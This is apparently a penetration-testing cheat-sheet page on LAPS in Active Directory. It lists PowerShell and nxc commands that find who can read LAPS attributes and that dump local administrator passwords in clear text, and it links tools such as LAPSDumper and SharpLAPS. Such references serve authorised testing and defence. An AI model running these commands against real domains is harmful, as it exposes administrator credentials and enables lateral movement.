> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/internal-pentest/laps.md).

# LAPS

On a computer, if LAPS is in use, a library `AdmPwd.dll` can be found in the `C:\Program Files\LAPS\CSE\`

## Users who can read LAPS passwords

```
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}
```

## OUs where LAPS is in use along with users who can read the passwords in clear text

```
# LAPS Module
Import-Module .\AdmPwd.PS.psd1
Find-AdmPwdExtendedRights -Identity OUDistinguishedName

# AD Module
.\Get-LapsPermissions.ps1
```

## Read LAPS Passwords

```
# PowerView
Get-DomainObject-Identity<targetmachine$>| select -ExpandProperty ms-mcs-admpwd

# AD Module
Get-ADComputer -Identity <targetmachine> -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwd

# LAPS Module
Get-AdmPwdPassword -ComputerName <targetmachine>
```

## LAPSDumper

{% embed url="<https://github.com/n00py/LAPSDumper>" %}

## goLAPS

{% embed url="<https://github.com/sensepost/goLAPS>" %}

{% embed url="<https://sensepost.com/blog/2025/golaps/>" %}

## NXC&#x20;

{% hint style="info" %}
*If the default administrator name is not administrator add the user after the option `--laps name`*
{% endhint %}

```
nxc smb <ip> -u user-can-read-laps -p pass --laps

nxc winrm <ip> -u user-can-read-laps -p pass --laps
```

## SharpLAPS

{% embed url="<https://github.com/swisskyrepo/SharpLAPS>" %}